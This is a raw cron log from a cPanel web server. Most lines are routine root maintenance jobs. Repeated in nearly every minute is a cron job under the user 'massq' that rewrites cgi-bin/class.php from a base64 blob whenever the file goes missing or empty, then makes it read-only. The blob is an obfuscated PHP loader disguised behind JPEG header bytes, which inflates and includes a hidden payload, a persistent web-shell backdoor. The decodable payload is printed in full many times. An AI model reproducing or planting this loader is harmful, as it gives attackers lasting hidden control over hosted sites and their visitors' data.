Sep  3 16:52:01 server CROND[27397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:53:01 server CROND[27788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:53:01 server CROND[27789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:53:01 server CROND[27790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:54:01 server CROND[28164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:54:01 server CROND[28165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:54:01 server CROND[28166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:55:01 server CROND[28536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:55:01 server CROND[28538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:55:01 server CROND[28541]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:55:01 server CROND[28542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:55:01 server CROND[28543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:55:01 server CROND[28540]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:55:01 server CROND[28539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:56:01 server CROND[29346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:56:01 server CROND[29347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:56:01 server CROND[29345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:57:01 server CROND[29843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:57:01 server CROND[29844]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 16:57:01 server CROND[29846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:57:01 server CROND[29845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:58:01 server CROND[30222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:58:01 server CROND[30223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:58:01 server CROND[30224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:59:01 server CROND[30593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:59:01 server CROND[30594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:59:01 server CROND[30595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:00:01 server CROND[30988]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:00:01 server CROND[30989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:00:01 server CROND[30992]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:00:01 server CROND[30995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:00:01 server CROND[30997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:00:01 server CROND[30998]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 17:00:01 server CROND[31001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:00:01 server CROND[31002]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:00:01 server CROND[30999]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:01:01 server CROND[31820]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 17:01:01 server CROND[31821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:01:01 server CROND[31819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:01:01 server CROND[31822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:01:01 server run-parts(/etc/cron.hourly)[31820]: starting 0anacron
Sep  3 17:01:01 server run-parts(/etc/cron.hourly)[31840]: finished 0anacron
Sep  3 17:02:01 server CROND[32191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:02:01 server CROND[32192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:02:01 server CROND[32193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:03:01 server CROND[32727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:03:01 server CROND[32729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:03:01 server CROND[32728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:04:01 server CROND[657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:04:01 server CROND[658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:04:01 server CROND[659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:05:01 server CROND[1117]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
